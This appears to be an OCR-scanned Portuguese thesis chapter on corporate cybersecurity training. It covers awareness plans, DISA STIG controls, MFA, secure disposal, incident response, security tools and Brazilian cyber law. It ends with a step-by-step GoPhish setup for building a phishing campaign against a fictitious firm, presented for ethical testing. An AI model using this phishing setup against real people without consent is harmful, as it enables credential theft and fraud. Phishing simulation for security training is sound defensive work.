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Inventério e transferéncia de propriedade, como identificar quem é responsavel e qual
é a responsabilidade dos funcionarios, como a higienizacéo de ferramentas de
trabalho;

Diferenciagdo do uso profissional e pessoal dos dados e suas questfes, bem como a
seguranca dos dispositivos de trabalho portateis, bem como a seguranca deles nas
deslocacoes;

Softwares permitidos e suportados, quais deles tem restrigdes de licencas, quando séo
permitidas e ndo permitidas copias, seus direitos de autor em relacao a aplicativos
pessoais no trabalho;

Questdes de controle de acesso e abordagem do Principio do Menor Privilégio, e
separar tarefas;

Explicar o que é responsabilidade individual,
Utilizag&o de declaragdes de acessos a sistemas e utilizag&o;

Controle dos visitantes e de acesso fisico aos espacos, para evitar vazoes de
informacgdes confidenciais (no caso de um Tailgating, por exemplo);

Seguranca do ambiente de trabalho, por exemplo, usar protetores de ecrd, restringir a
visualizacdo de informac0es para visitante no ecrd, gerenciar quem realmente ira ter
acesso autorizado aos sistemas;

Proteger informacao sujeita a preocupacdes de confidencialidades e que podem
comprometer a empresa se forem vazados.

Aqui estd um modelo com os tdpicos que podem ser usados para montar o
treinamento, s6 que traduzido em portugués e adaptado para a realidade brasileira. Também
tera a lei e normas correspondentes do Brasil e dos Estados Unidos, mas caso nao prefira fazer
um curso internacional ou sua empresa nao tem filiais no exterior, e caso nem tenha intencéo
de criar filiais em outros paises, pode adaptar ao seu modo e utilizar apenas as normas
brasileiras.

APENDICE A - Modelo de Plano do Programa de Formagcao e Sensibilizacio em
Ciberseguranca Empresarial

RESUMO EXECUTIVO
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ANTECEDENTES

Lei Geral de Protecdo de Dados (LGPD), Estratégia de Governanca Digital (EGD), Decreto
n® 9.637/2018 - Politica Nacional de Seguranca da Informac&o, Estratégia Nacional de
Seguranca Cibernética (E-Ciber), Instrucdo Normativa n°1/DSIC/GSIPR ou a OMB A-130
Apéndice IlI.

Politica especifica do departamento e/ou agéncia (E outros fundamentos que podem ser
relevantes dentro do programa de formagéo e sensibilizacéo).

POLITICA DE SEGURANCA DA EMPRESA

Metas;

Objetivos;

Funcdes e responsabilidades.

CONSCIENTIZACAO

Publico (geréncia e todos os funcionarios);
Atividades e datas previstas
Calendério

Revisdo e atualizacdo de materiais e métodos

FORMACAO E EDUCACAO
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Funcéo 1: Executivos e Gestores

e Objetivos de aprendizagem;
e Areas de enfoque;
e Métodos/Atividades;

e Calendario;

e Critérios de avaliagéo.

e Funcdo 2: Area de seguranca de Tl

e Objetivos de aprendizagem;

e Areas de incidéncia;

e Métodos/Atividades;

e Calendério;

e Critérios de avaliacao.

e Funcédo 3: Administradores de sistemas/redes

e Objetivos de aprendizagem;

e Areas de enfoque;

e Métodos/Atividades;

e Calendario;
e Critérios de avaliagéo.

...E outras funcdes responsabilidades significativas com a Seguranca da Informacéo da
empresa.
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CERTIFICACAO PROFISSIONAL

Funcdo 1: Para a area de seguranca da informacéo

e Objetivos de aprendizagem;
o Areas de concentragio;
e Métodos/Atividades;

e Calendario;

e Critérios de avaliagéo.

e Funcédo 2: Administradores de sistemas/redes
e Objetivos de aprendizagem

e Areas de foco

e Métodos/Atividades

e Cronograma
e Critérios de avaliacdo

...E outras func@es responsabilidades significativas com a Seguranca da Informacéo da
empresa.

RECURSOS NECESSARIOS CUSTOS

Treinamento da equipe $ xxx
Contratacdo de Suporte $ xxx
Instalagdes (por exemplo, salas de
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formacéo) $ xxx

Meios de comunicacao (por exemplo,

: : XXX
servidor(es) para material na Web e em $

computador)

Uma vez finalizada o plano de formag&o em ciberseguranca, 0s processos para
estabelecer prioridades devem ser estabelecidos em um calendéario de priorizacao, decidindo
quais fatores utilizar e em qual sequéncia sera continuado. Esses sao:

Disponibilidade de material - € preciso considerar se 0s recursos para a producdo do material
estdo disponiveis ou ndo, se ha instrutores, entre outros;

Funcéo e impacto organizacional — prioridade em termos de funcéo e risco organizacional, e
qual é a prioridade da empresa mediante ao seu historico de prevengdes e conhecimento dos
funcionarios;

Estado de conformidade atual — analisar as lacunas no programa de treinamento que podem
ser melhoradas e qual € a fraqueza dos funcionarios para implementar o treinamento
antecipadamente;

Dependéncias do projeto — se ha projetos que dependam de um segmento de formacao de
seguranga no treinamento para preparar 0s requisitos necessarios para o sistema (exemplo:
treinamento de firewalls, VPNs, sistemas operativos etc.);

Para que uma técnica para realizar o treinamento seja efetiva, é preciso se atentar a quatro
fatores:

Facil de usar, de atualizar e manter;
O conteldo pode ser usado para varios tipos de audiéncia em varias localidades;
Responsabilidade, como usar estatisticas da empresa para montar a concluséo;

Base consideravel de apoio da indUstria, como melhores hipo6teses de encontrar apoio.

Ha varios modelos que podem ser usados para mostrar o treinamento, como videos
interativos para os funcionarios, formacao em plataformas web, formacéao presencial com
interagdes entre instrutores e alunos, ou formacédo no site com o instrutor fazendo
apresentagdes e mentorias.
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2.2.2 Politica de Privacidade, Controle de Acesso e STIGs

Normas, diretrizes e medidas de seguranca pré-estabelecidas numa empresa podem
ajudar a evitar possiveis e futuras invasodes, além de revelar falhas no sistema de infraestrutura
atual vigente. Além disso, faz-se importante estar em conformidade com as leis vigentes,
como a Lei Geral de Protecdo de Dados (LGPD), lei que por sua vez, assegura as boas
praticas de governanca e a seguranca de clientes e parceiros. Mediante a isso, € importante
destacar o uso das Security Technical Implementation Guides (STIGSs) no campo da
privacidade e controle de acesso, e um deles € o principio do menor privilégio. Aqui estdo
algumas STIGs que merecem mengéo:

Principio do Menor Privilégio

Corporate network access

B om0

9]

P Sr. Support Tech | ) — —_ —~
0 |

IT Manager

Least privileged

Most privileged

Figura 8. Figura mais simplificada, envolvendo quatro cargos, e suas permissdes de acesso ao
sistema, caracterizando o principio do menor privilégio. Repare que, exceto o Técnico de Suporte
Sénior, nenhum dos outros cargos tem acesso a todo o sistema (CLOUDFLARE, 2024).

Todos os usuarios do sistema, até mesmo funcionarios e administradores de
alto escaldo, tem permissGes apenas para administrar no sistema o trabalho que
Ihes foi atribuido, sendo assim, nenhum deles tem dominio completo no sistema, e
com isso, evita abusos, danos por parte de funcionarios, a¢oes de insiders ou
whistleblowers e possiveis ataques futuros de Tailgating e de coleta massiva de
dados por parte de hackers externos que invadem contas de funcionarios. Também
é popularmente conhecido como conhecimento dividido (STEWART; KINSEY;
2020).

Gerenciamento de Vulnerabilidades

Identifica e corrige falhas e vulnerabilidades em sistemas. Aborda sobre a
implementacao de patches de seguranca e atualizacdes, de forma sistematica, para
diminuir riscos de ataques futuros. A aplicagdo constante de corre¢Ges € uma boa
pratica de seguranca numa empresa. Ha 3 técnicas que podem ser utilizadas para
gerenciar os patches, sendo:

Baseado em agentes: Requer que um agente esteja sendo executado em
cada sistema a ser corrigido, com um ou mais servidores que gerem o processo de
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aplicacdo de patches e que seja coordenado com os agentes. Cada agente toma a
responsabilidade de determinar qual software com vulnerabilidades esta instalado
no sistema, informar a equipe de servidores que gerencia os patches, pedir que
novos patches sejam adicionados etc. Cada agente tem privilégios de administrador
para que possam fazer essa monitoria. Esse método é recomendavel para donos de
sistemas que nao estdo na rede local a todo momento.

Varredura sem agente: E feita sem agente e ¢ uma tecnologia que gere
patches, com acesso administrador, que tem um ou mais servidores, que fazem a
varredura de cada host que precisa ser corrigido e quais patches cada uma precisa.
A principal vantagem € que ndo precisa ter agentes disponiveis para fazer a
execugdo em cada host, tudo é feito automaticamente. Porém, em contrapartida,
tem como ponto negativo ndo realizar a mudanca e a monitoria para hosts que
trabalham home office, ou que usam dispositivos moéveis, além da possibilidade de
ndo ser compativel com todos os softwares da organizacéo.

Monitoramento Passivo de Rede: Também é feita por um programa, mas
monitoram a rede local e digitalizam similar ao baseado em agentes, s6 que
realizado por um programa, também ndo necessariamente precisa de privilégios
locais, e podem ser usadas para monitorar os patches que a organizacdo nao
controla, como sistema de visitantes e terceiros. A desvantagem é que s6 é possivel
usar em softwares em que possa identificar a versdo baseado em seu trafego de
rede, e s6 funciona com hosts que trabalham presencialmente. (SCARFONE,
Karen; SOUPPAYA, Murugiah, 2013).

Concomitante ao gerenciamento de vulnerabilidades, ha duas STIGs que
complementam este subcapitulo. Sdo o Controle de Acesso STIG (Access Control
STIG), que abordam autenticacdo de MFA, Auditoria e Monitoramento e a
importancia de ter uma base solida de treinamento com a equipe, em concordancia
com a NIST (DISA, 2021), e a segunda é o STIG de Auditoria e responsabilizacdo
(Audit and Accountability STIG), que enfatiza a essencialidade de registrar eventos
significativos que ocorrem nos sistemas (Logging), Monitoramento e Analise de
Logs, Auditorias Regulares, Treinamento com 0s usuarios e Protecdo de Dados de
Auditoria.

Seguranca de e-mails

Muito eficaz para prevenir phishing e spear phishing. Lida com politicas de
seguranca para e-mails, usando diretrizes para esse fim. Uma das medidas
recomendadas nessa STIG é a Autenticagdo Multifator (MFA), que garante que
somente usuarios autorizados teréo acesso a e-mails, outra medida é o filtro de spam
avancado, para bloguear e-mails duvidosos antes de chegar na caixa de e-mail dos
usuarios. A implementacédo de politicas rigorosas de e-mail e a educacdo dos usuarios
na ciberseguranca béasica, se tornam cruciais para minimizar ataques de engenharia
social. (DEFENSE INFORMATION SYSTEMS AGENCY, 2024). A ISO/IEC 27002
(2022) também recomenda fortemente o uso criptografia de ponta a ponta e
monitoramento de trdfego de e-mails. Abaixo, terdo dois guias técnicos da STIG do
qual vale a pena mencao:
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Guia de Implementacao Técnica de Seguranca do Microsoft Outlook 2016 (Microsoft
Outlook 2016 Security Technical Implementation Guide)

No ID V-228465 desse guia, hd uma recomendacdo de que os hiperlinks em
mensagens de e-mail suspeitas de phishing devem ser proibidos, ou seja, a politica
vigente estabelecida ordena que nédo se podem fazer hiperligacbes em e-mails
suspeitas de phishing no Outlook. Se ativar os hiperlinks, o Outlook permitira
hiperligacéo nesses e-mails suspeitos.

Em ID V-228464, informa-se para habilitar o aviso sobre macros nao
confiaveis no Outlook, correspondente ao “Aviso para todos os macros” na se¢ao
“Seguranga Macro” da Central de Confiabilidade, sendo assim, subsequentemente,

No ID V-228466, destaca-se que a Criptografia RPC entre o Outlook e 0
Exchange Server deve ser ativada. Paralelo a isso, o ID V-228467 tem uma conduta
similar, ele recomenda que o Outlook deve ser configurado para forgar a autenticagéo
ao se conectar a um servidor Exchange.

STIGS de Politicas de Servico de E-mails

O ID V-18877 determina que os grupos de administradores de e-mail da empresa
devem garantir o menor privilégio, e em relacdo a sua funcéo, o ID V-18869 integra que é
fortemente recomendado trilhas de auditoria de e-mail, e que é interessante que sejam feitas
revisdes diariamente. Além disso, é importante que os registros de auditoria sejam mantidos
por 1 ano, segundo o ID V-18879. A pesquisa e a auditoria se tornam importantes pois pode
ter acdes maliciosas que podem ter acontecido e arquitetadas antes da auditoria.

Entretanto, no ID V-18867, ressalta que os Servicos de E-mail devem ser
documentados no EDSP (Plano de Seguranca de Dominio de E-mail). Relacionado, ha o ID
\/-18885, que complementa que a politica de uso aceitavel de e-mail deve ser documentada no
Plano de Seguranca de dominio de e-mail. Outras IDs que valem a pena destacar o ID V-
33389, em que a politica de uso aceitavel de e-mail deve ser renovada anualmente, e V-
18886, em que a Politica de Uso Aceitavel por Email deve conter os elementos necessarios,
isto é, educacdo e expectativas do usuario, e penalidades do ndo cumprimento, podendo obter
classificagéo e rotulagem de sensibilidade, ensinar a reconhecer mensagens indesejadas ou
suspeitas (SPAM, Phishing, etc.), ressaltando quais os servigos oficiais de e-mail (Outlook,
Gmail, entre outros), cotas de tamanho da caixa de e-mail, limitar anexos e etapas para fazer
solicitacdo de help ou service desk.

No ID V-18881, ressalta a importancia de backups e recuperacéo de e-mail, e a
importancia de ser documentada e testada em uma frequéncia compativel com INFOCON e
seus niveis, planos de recuperacao e de desastres de instalacdes via e-mail.

STIG de Seguranca dos pontos terminais (Endpoint Security STIG)
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Ajuda na prevencdo de Engenharias Sociais de forma geral, pois protege 0s pontos
terminais com criptografia de ponta. Aborda a aplicacdo de patches, controle de protecéo,
blogueio de scripts maliciosos e prevencédo de execucdo de codigos externos e ndo
autorizados. Os STIGS a se destacar sdo 0 Guia de Requisitos de Seguranca do Servidor de
Gerenciamento de Endpoint Unificado (Unified Endpoint Management Server Security
Requirements Guide) e o STIG do Antivirus Windows Defender (Windows Defender
Antivirus STIG).

Guia de Requisitos de Seguranca do Servidor de Gerenciamento de Endpoint Unificado
(Unified Endpoint Management Server Security Requirements Guide):

No ID V-234668, cita a importancia de mecanismos de protecdo de confidencialidade.
Ele alega que O servidor UEM deve ser configurado para implementar o modo FIPS 140-2
para toda a criptografia de servidor e agente. Sem esses mecanismos, pessoas nao autorizadas
podem obter acesso a informagdes confidenciais por meio de acesso remoto, que, por sua vez,
0 acesso remoto é o sistema de informac6es por um usudrio autorizado, que se conecta fora da
rede da organizacdo (Exemplo: Home Office). Para que a implementagéo seja feita, e seja
listada pelo certificado do modo criptografico FIPS 140-2 (uma norma do governo dos
Estados Unidos e publicada pela National Institute of Standards and Technology (NIST) e
define o minimo de seguranca criptografica, em hardware, software e firmware), deve
completar o processo de validacdo do algoritmo. Os mddulos autorizados segundo a NIST s&o
BCE, CBC, OFB, CFB, CTR, XTS-AES, FF1, FF3, CCM, GCM, KW, KWP e TKW.
Paralelo a isso, no ID V- 234383, que complementa que o servidor UEM deve usar a funcéo
hash SHA-2 ou superior validada por FIPS para proteger a integridade do cédigo de
autenticacdo de mensagens hash com chave (HMAC), Func¢des de Derivacdo de Chave
(KDFs), Geracdo de Bit Aleatoria e aplicativos somente hash. Recomendacdes sdo SNMPV3,
SSH, NTP, HMAC e KDFs. Envolve integridade do codigo de autenticacdo de mensagens
(HMAC), usar as funcdes Derivacdo de Chave (KDFs) e Geracdo de Bit Aleatoria.

STIG do Antivirus Windows Defender (Windows Defender Antivirus STIG)

O ID V-75153 alega que o Windows Defender AV deve ser configurado para executar
e procurar malware e outros softwares potencialmente indesejados. Paralelamente, o V-75151
aborda que o Defender AV deve ser ajustado para executar automaticamente todas as tarefas
detectadas e, juntamente, o ID V- 75225, o Defender deve ser colocado para verificar todos 0s
arquivos e anexos baixados e para bloguear o contetdo executavel do cliente de e-mail e do
webmail (V-77965).

Além das STIGs, outra coisa que deve se atentar sdo os controles de acesso. De acordo
com ISO (2013), recomenda-se controles de acesso légico e fisico, e que o controle de acesso
escolhido esteja em concordancia com requisitos de seguranca de negdécios individuais,
politica de autorizacdo da informacéo, niveis de seguranga e classificages, concomitancia
entre direitos de acesso e politicas de classificacdo das informaces, obrigacdo contratual com
protecdo de acesso de dados, gerenciar direitos de acesso, segregar direitos de acesso de
acordo com a funcdo, requisitos para pedir autorizacdo de acesso, bem como analises criticas
de direitos de acesso e regras, e registro de todos os eventos relacionadas a esse tipo de
gerenciamento.


https://www.stigviewer.com/stig/unified_endpoint_management_server_security_requirements_guide/2024-07-02/
https://www.stigviewer.com/stig/unified_endpoint_management_server_security_requirements_guide/2024-07-02/
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2.2.3 Autenticacdo Multifator (MFA)

B® Microsoft

Keep your account secure

Your organization requires you to set up the following methods of proving who you are.

Microsoft Authenticator

a Start by getting the app

- On your phone, install the Microsoft Authenticator app. Download now

After you install the Microsoft Authenticator app on your device, choose "Next”.

want to use a different authenticator app

Lwant to set up a different method

Figura 9. O Microsoft Authenticator é um exemplo de Software MFA popularmente utilizado.

De acordo com Kaufman et al. (2022), a autenticacdo e a verificacdo viavel e fidedigna da
identidade humana de alguém, enquanto a Autenticacdo Multifator € uma maneira mais
segura, em que a pessoa se autentica utilizando mecanismos de vérias categorias, um sistema
de multiplas camadas, como um cddigo exibido na tela em que vocé precisa confirmar em um
aplicativo de autenticagdo, ou um envio de codigo PIN para o celular do utilizador, eles
também ressaltam que implementar MFA em sistemas corporativos fortalecem a seguranca
das credenciais, e s&o uma barreira contra fraudes e ameagas.

Segundo o National Institute of Standards and Technology (NIST), a Autenticagédo
Multifator usa senhas, tokens fisicos ou biometria. Complementando, conforme relatado pela
Cybersecurity and Infrastructure Security Agency (CISA), a MFA reduz de forma relevante o
risco de comprometer a conta, combinando algo que o usuério sabe — sua senha — algo que ele
possui — token — e algo que o usuario é — biometria, e seu uso é fortemente recomendado em
corporagdes, sistemas governamentais e militares.

2.2.4 Boas Préticas de Descarte de Informacdes

Cuidar do descarte de informac&o é crucial para evitar dumpster diving. Caso nao realize esses
procedimentos, aumentam consideravelmente os riscos de acessos ndo autorizados, ataques de
engenharia social, expondo informagdes confidenciais. Conforme 1SO (2013), ha algumas
diretrizes para descarte de midias, sendo:

Midias contendo informac6es confidenciais sejam guardadas e destruidas de
forma segura, por incineragéo ou trituracdo, ou remocéo de dados.

E necessario que tenha uma vistoria prévia para verificar os itens que precisam
de descarte seguro.
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E interessante separar as midias que seréo inutilizadas de forma geral e
descarta-las, ao invés de apenas descartar as confidenciais.

Algumas empresas oferecem servicos de descarte, porém, esteja atento e
informado ao selecionar um fornecedor, ele precisara ter experiéncia e controle
apropriado.

Toda vez que for descartar uma informacao sensivel, registre, para manter uma
auditoria consistente.

Agora, iremos detalhar os procedimentos e citar alguns que séo citados
academicamente, mas ndo foram citados pela 1SO.

Descarte de documentos fisicos

Para documentos de informacdes confidenciais, 0 melhor método é usar triturador de
papel. Segundo Stamp (2014), a destruicdo € uma boa préatica de confidencialidade, em
destaque para informacdes PII (Personally Identifiable Information, ou Informacdes Pessoais
Identificaveis).

Queima controlavel: Para documentos que ndo podem ser reciclados e sdao muito
sensiveis (Kaufman et al, 2022).

Armazenamento Seguro até Descarte: Um bom método para que o contelido nao seja
acessado antes do descarte, onde s6 podem ser acessadas por pessoas autorizadas.

Descarte para dados digitais

Sobrescrita de dados: Usar ferramentas que sobrescrevem dados no disco rigido varias
vezes, impossibilitando a visualizagdo do conteudo anterior (NIST, 2014).

Desmagnetismo: Aplica um campo magnético que desmagnetiza o hardware, como
discos, sendo impossivel de recuperar (Miller et al., 2010)

Destruicao fisica do Hardware: Se o contetdo esta em disco rigido e ndo foi postado
na web, esmagar o disco rigido ou o hardware de armazenamento também é um método
viavel.

Segundo Long (2008), ha milimetros e tipos de cortes recomendados para cada
documento:

Tipo Tamanho do corte Proposito

Corte em tiras 0,95 cm Documentos gerais
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Corte transversal

0,95cm x 3,81 cm - 8,57cm

Documentos gerais

Corte em tiras

0,63cm-0,31cm

Documentos sensiveis

Corte em tiras

0,15 cm

Documentos confidenciais

Corte transversal

0,31x1-0,31cm

Documentos confidenciais

Corte transversal

0,158cm x 1,58cm

Documentos Secretos

Corte transversal

0,07cm x 1,27cm

Documentos “Top Secrets”,
ou seja, documentos secretos

governamentais

Corte transversal

Imm X 5mm

Documento de alta

seguranca governamental

2.2.5 Resposta a Incidentes, Recuperacdo e Analise Pds-Incidente

E um conjunto de acBes para mitigar o impacto de uma seguranca violada dentro da
empresa. E preciso testar periodicamente as respostas, para que, quando acontecer o incidente,
a resposta seja eficaz. Lidar com incidentes envolve mais do que aplicar procedimentos
basicos — precisa de agilidade, coordenacdo e equipe preparada para responder de maneira
rapida e eficiente (STAMP, 2022). Conforme NIST SP 800-61r2 (2012), é recomendavel que
uma equipe de resposta a esses problemas seja criada, ou como eles nomeiam, Computer
Security Incident Response Team (CSIRT) — Equipe de Resposta a Incidente de Seguranca na
Informatica. Possiveis prevencgdes sao:

- Teste de penetracdo: Realizar simulagOes de ataques para verificar vulnerabilidades

no sistema e corrigi-los.

- Implementacéo de Firewalls e IDS/IPS: E sempre positivo colocar sistemas de
deteccdo, para monitorar o trafego de rede e alertar sobre invasdes ou atividades
suspeitas, facilitando na identificacdo quando ocorrer e possibilitando responder mais

rapidamente.

Resposta a Incidentes:
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Conté-lo: E estritamente necessario que se contenha o incidente, para que ele nfo se
espalhe pelo sistema da empresa. A contencao pode ser desconexao temporaria de redes
comprometidas, a desativagao de servicos criticos ou 0 blogueio de usuarios suspeitos. Em
vazamento de dados, o essencial é limitar o alcance, segundo as diretrizes de resposta a
incidentes do NIST (Scarfone; Souppaya, 2013). Outra coisa que pode ser feita é separar os
servidores comprometidos, para que ndo atinja outros servidores da empresa. Alguns
exemplos de software que podem ser usados serdo abordados no subcapitulo “Uso de
Tecnologias e Ferramentas de Seguranga”. Outras formas também que ajudam a mitigar ¢
suspensdo temporéria de acesso da conta invadida ou verificacdo de senha dessas contas.

Documentacao Rigorosa: Durante todo o processo de resposta, a equipe tem que
documentar cada medida que foi tomada. Killmeyer (2006) defende que, ao fazer isso, a
equipe tem uma analise mais completa que pode ser revista e auditada posteriormente, caso
aconteca novamente algum incidente parecido, bem como servir como uma base de
conhecimento. Segundo NIST (2012), é recomendado que essa documentagédo de incidente
tenha:

- O estado atual do incidente (novo, em curso, encaminhado para investigacéo,
resolvido...);

- Resumo do incidente;

- Indicadores relacionados com o incidente;

- Outros incidentes relacionados (se houver);

- AcOes tomadas por todos os responsaveis pelo incidente em relagdo a este incidente;
- Cadeia de custddia (caso houve);

- AvaliagOes de impacto relacionadas com o incidente

- Informacdes de contato de outras partes (por exemplo, no meio do incidente,
conversaram com proprietarios de sistemas, administradores de sistemas...);

- Uma lista de provas recolhidas durante a investigacao;
- Comentarios dos responsaveis pelo incidente (se for interno);

- Préximas medidas a serem tomadas;

Recuperacéo:
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O préximo passo depois da contencdo é a recuperacdo. Conforme Anderson (2019),
envolve restaurar os servicos e validar que a ameaca foi expurgada antes de reativar. Alguns
procedimentos séo:

Reinstalar os sistemas: Em casos extremos, e depois de verificar que o invasor nao
esta mais no sistema, o recomendado € que se reinstale os programas ou restaure-os por
backup. Segundo Killmeyer (2020), restaurar por backups reduz a chance de reintroduzir a
ameaga.

Verificar Integridade: Antes de restaurar os softwares usados, € preciso fazer
verificagcOes as contas ou o alvo que foi invadido anteriormente esteja sem ameacas e seguro.
NIST (2012) sugere que uso de ferramentas de integridade ajuda a garantir que esta seguro e
protegido antes de voltar a ser acessado por funcionarios. Algumas sdo os aplicativos
Tripwire, OSSEC, Veracode, HashCalc, entre outras.

2.2.6  Uso de Tecnologia e Ferramentas de Seguranca

Para ajudar na prevencao e mitigagdo descritas anteriormente, existem varios
softwares que podem fornecer uma resposta aos incidentes ou prevencao. Aqui estdo alguns a
se levar em consideragéo:

Conscientizacdo dos Usuarios:

Sophos Phish Threat: Um software que da treinamentos sobre phishing em
portugués, que também tem simulag6es de ataques dentro da plataforma para que 0s usuarios
possam identificar a veracidade nos exercicios. Essa ferramenta é paga, mas tem um teste
grétis de 30 dias.

Politica de Privacidade, Controle de Acesso e STIGs:

ManageEngine ADManager Plus: Um software para controle de acesso e
gerenciamento de privilégios usando o método de Active Directory.

Microsoft Azure AD: Também é uma plataforma de gerenciamento de identidades e
acesso, atendendo também as STIGs citados.

Autenticacdo Multifator
Microsoft Authenticator: oferece autenticagdo multifator (MFA) para sistemas.

Google Authenticator: Concorrente do Microsoft Authenticator, também oferece
autenticacdo multifator (MFA), e é uma boa alternativa.
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Boas Praticas de Descarte de Informacoes

CCleaner: Auxilia no descarte de dados, removendo informaces e limpar arquivos
temporarios.

Resposta a Incidentes, Recuperacéo e Analise pds-incidente

Kaspersky Endpoint Security: Uma ferramenta que ajuda nas respostas a incidentes,
podendo bloquear ameaca e recuperar arquivos posteriormente, diminuindo propagacao e
ajuda no anélise pos-incidente.

SolarWinds Security Event Manager: Uma plataforma que monitora e responde a
incidentes com log de eventos em tempo real, facilitando também a anélise de incidentes.

Sem contar com Tripwire, OSSEC, Veracode e HashCalc ja citadas anteriormente.

Ferramentas para proteger o computador dos funcionarios

Avast Business Antivirus: ajuda a identificar monitoramento de dispositivos e faz
varredura de ameacas.

BitDefender GravityZone: fornece solucfes de prevengédo contra malware,
ransomware e outros ataques.

2.2.7 Execucdo Etica

Para ficar mais pratico de entender e inteligivel dentro do texto, elaboramos alguns
subcapitulos, para garantir a organizacdo e a clareza. Lembrando que falaremos da Execucao
Etica, ou seja, aplicado mediante a permissdo da empresa, respeitando as normas e leis
vigentes, sem violar quaisquer direitos, protegendo a integridade das informacGes. Além
disso, estara sobre o tema da Engenharia Social, portanto, ndo sera apresentado algo fora
desse tema ou que ndo seja relacionado.

Responsabilidade e Regulamentagéo;
Testes e Simulacdes Eticas;
2.2.8 Responsabilidade e Regulamentacéo;

No Brasil, é visivel que ha varios conjuntos de leis e normas que ditam e colocam
diretrizes em relacdo a ciberseguranca na Internet, e que todos os pentesters devem seguir,
devido a essa fundamentacéo de diretrizes. A finalidade dessas normas sdo para combater
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crimes cibernéticos, prevenir abusos e garantir que as ferramentas seréo usadas de forma
ética. Abaixo, estdo as leis que tangem a ética da ciberseguranca no Brasil:

Lei Geral de Protecao de Dados (LGPD - Lei n°® 13.709/2018)

A LGPD é a base principal de protecdo de dados no Brasil, e inspirada na GDPR da
Unido Europeia. O objetivo € garantir privacidade de dados das pessoas clientes e
compradores dentro das empresas, estabelecendo regras de uso e tratamento das informacdes
dessas pessoas. Ele obriga as organizagdes a adotarem medidas técnicas e administrativas para
evitar acessos ndo autorizados, dentre outros incidentes. Toda vez que tiver incidente de
seguranca, se faz necessario as empresas comunicarem rapidamente a Autoridade Nacional de
Protecdo de Dados (ANPD) e os afetados. As multas sdo:

“multa simples, de até 2% (dois por cento) do faturamento

da pessoa juridica de direito privado, grupo ou conglomerado
no Brasil no seu ultimo exercicio, excluidos os tributos,
limitada, no total, a R$ 50.000.000,00 (cinquenta milhdes de
reais) por infragdo (BRASIL, 2018)”.

Marco Civil da Internet (Lei n® 12.965/2014)

O marco civil da Internet funciona como um cédigo de conduta com um conjunto de
direitos e deveres para empresas e usuarios. Sua funcao envolve garantir a privacidade, em
que os dados das pessoas s6 podem ser guardados mediante consentimento, as empresas sdo
obrigadas por lei a proteger os dados dos usuéarios e exige esclarecimento em relacdo a como
as empresas usam os dados coletados. Aqui estdo alguns artigos importantes de ser= levar em
consideracdo sendo um profissional da seguranca da informacao.

“Art. 10. A guarda e a disponibiliza¢do dos registros de
conexdo e de acesso a aplicacGes de internet de que trata esta
Lei, bem como de dados pessoais e do contetido de
comunicacdes privadas, devem atender a preservacao da
intimidade, da vida privada, da honra e da imagem das partes
direta ou indiretamente envolvidas.

§ 1° O provedor responséavel pela guarda somente seré
obrigado a disponibilizar os registros mencionados no caput, de
forma autdbnoma ou associados a dados pessoais ou a outras
informacdes que possam contribuir para a identificacao do
usudrio ou do terminal, mediante ordem judicial [...].

8 2° O contetdo das comunicagdes privadas somente podera ser
disponibilizado mediante ordem judicial [...].

8 3° O disposto no caput ndo impede 0 acesso aos dados
cadastrais que informem qualificacéo pessoal, filiacéo e
endereco, na forma da lei, pelas autoridades administrativas
que detenham competéncia legal para a sua requisicao.
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8 4° As medidas e os procedimentos de seguranca e de sigilo
devem ser informados pelo responsavel pela provisdo de
servigos de forma clara e atender a padrdes definidos em
regulamento, respeitado seu direito de confidencialidade quanto
a segredos empresariais.” (BRASIL, 2014).

O ndo cumprimento resulta em multa de até 10% do faturamento do grupo econémico
no Brasil no seu ultimo exercicio, excluidos tributos.

Lei Carolina Dieckmann (12.737/2012)

Nessa lei contra crimes cibernéticos, hd um artigo que seria interessante fazer mencéo,
que podem estar relacionados com o tema desse trabalho. Esse € o artigo 154-A:

“Invadir dispositivo informético alheio, conectado ou ndo a
rede de computadores, mediante violacdo indevida de
mecanismo de seguranca e com o fim de obter, adulterar ou
destruir dados ou informacdes sem autorizacdo expressa ou
tacita do titular do dispositivo ou instalar vulnerabilidades para

12

obter vantagem ilicita”.

A pena ¢ de detencdo de 3 meses a 1 ano, e multa, que pode aumentar para 6 meses a 2
anos com multa se a invasao tiver a coleta de informagdes sigilosas e segredos comerciais”.

2.2.9 Testes e simulacdes éticas

Lembrando: N&o use indevidamente para fins ndo éticos. O que € demonstrado
abaixo é apenas para fins educativos.

Ha algumas ferramentas legais para se conhecer que podem ser usados para pentest ou
em seguranca ofensiva, portanto, iremos falar de cada uma delas, como fazer a instalagéo, e
COMO manusear.

GoPhish: Primeiramente, va em https://getgophish.com e faca o download.

Hnow

Open-Source Phishing

Framework

Recent Campaigns


https://getgophish.com/

34

Ap0s isso, iremos ser direcionados para uma pagina do GitHub, quando chegar 14,
des¢a até o final com o scroll do mouse ¢ clica em “gophish-v0.12.1-linux-64bit.zip”, para
Linux (Se for instalar no Windows, baixe o “gophish-v0.12.1-windows-64bit.zip”);

Gophish v0.12.0

Gophish just got better.

Ao baixar, va em Terminal Emulator (Prompt de Comando), e siga esses
procedimentos;

Depois, precisamos configurar o config.json. Para isso, precisamos saber o IP da nossa
maquina, para descobrir, s6 digitar hostname -1. Apds isso, e ja com o IP, siga a imagem;

Vai abrir esse documento, no retangulo em vermelho, é onde precisa colocar o IP;
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Para sair, clique em CTRL+O para salvar, CTRL+X para sair e volte ao prompt.
Depois, precisamos dar permissdes de administrador ao GoPhish e executar, siga o que esta
na imagem abaixo;

Tera um link no final do codigo, que é esse level= info msg “Starting admin server at
https.//:000.000.000.00” (seu ID). Sua senha estara em level-info msg= “Please login with
the username admin and the password (senha autogerada)”. Ao clicar no link com seu ID, ira
abrir uma pagina na web com problema de certificado do Firefox, so clicar em “Advanced” e
“Accept the risks”, € conectar no login do GoPhish com o usuario “admin” e a senha que foi
oferecida.

ESEENN Dashboard

HOKS s BEEE $0 o
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Va em Users & Groups e clique em New Group para adicionar uma Corporagao. No
nosso caso, serd uma empresa ficticia chamada CloudSprout. Adicionamos um José da Silva,
e um e-mail onde é possivel testar. Apos isso, clica em Add e em seguida Save Changes.

Em seguida, iremos elaborar nosso template de e-mail duvidoso para enviar para José
da Silva. Clique em Email Templates na aba lateral e clicar depois num botao verde escrito
New Template, e preencha o nome do template, e o titulo do e-mail, depois vai em HTML,
Source na barra abaixo do html e escreva o template do corpo do e-mail, pode ser 0 que
desejar, e se quiser pode anexar uma imagem em Add Files. Vocé também pode escrever seu
e-mail usando as referenciagdes disponiveis nesse link https://docs.getgophish.com/user-
guide/template-reference. No exemplo, foi escrito dessa maneira:

LTI

